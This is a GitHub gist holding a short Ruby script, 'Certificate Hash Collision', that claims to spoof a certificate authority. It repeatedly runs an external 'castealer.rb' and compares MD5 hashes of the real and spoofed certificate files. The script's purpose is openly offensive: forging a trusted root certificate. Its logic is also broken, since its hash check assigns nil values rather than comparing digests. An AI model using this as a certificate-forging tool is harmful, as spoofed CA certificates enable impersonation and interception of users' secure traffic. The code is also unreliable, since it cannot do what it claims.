Skip to content

Instantly share code, notes, and snippets.

@gdisneyleugers
Created March 31, 2014 16:01
Show Gist options
  • Save gdisneyleugers/9895670 to your computer and use it in GitHub Desktop.
Save gdisneyleugers/9895670 to your computer and use it in GitHub Desktop.
require 'rubygems'
require 'digest/md5'
require 'ruby-progressbar'
puts "Certificate Hash Collision"
puts "By G.Disney-Leugers"
puts "Warning this tool only works with DER encoded certificates"
puts "Please save CA to spoof root.cer"
$i = {}
for $i in 1..99999
t = Time.now
system("ruby castealer.rb")
printf "Running Collision @"
progressbar = ProgressBar.create(:starting_at => 0, :total => 99999)
progressbar.progress = $i
progressbar.log "Attempt: #{$i} @ #{t}"
puts "\n"
printf "SRC: "
a = puts Digest::MD5.hexdigest(File.read('root.cer'))
printf "DST: "
b = puts Digest::MD5.hexdigest(File.read('spoof.cer'))
printf "Validating Hash: "
puts a = b == true
if a = b == true
puts "Collision Complete"
sleep 5
system('mv spoof.cer success.cer')
printf "Success At:"
puts t
sleep 2
exec('exit')
end
end
puts "Collision Failed"
exec('exit')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment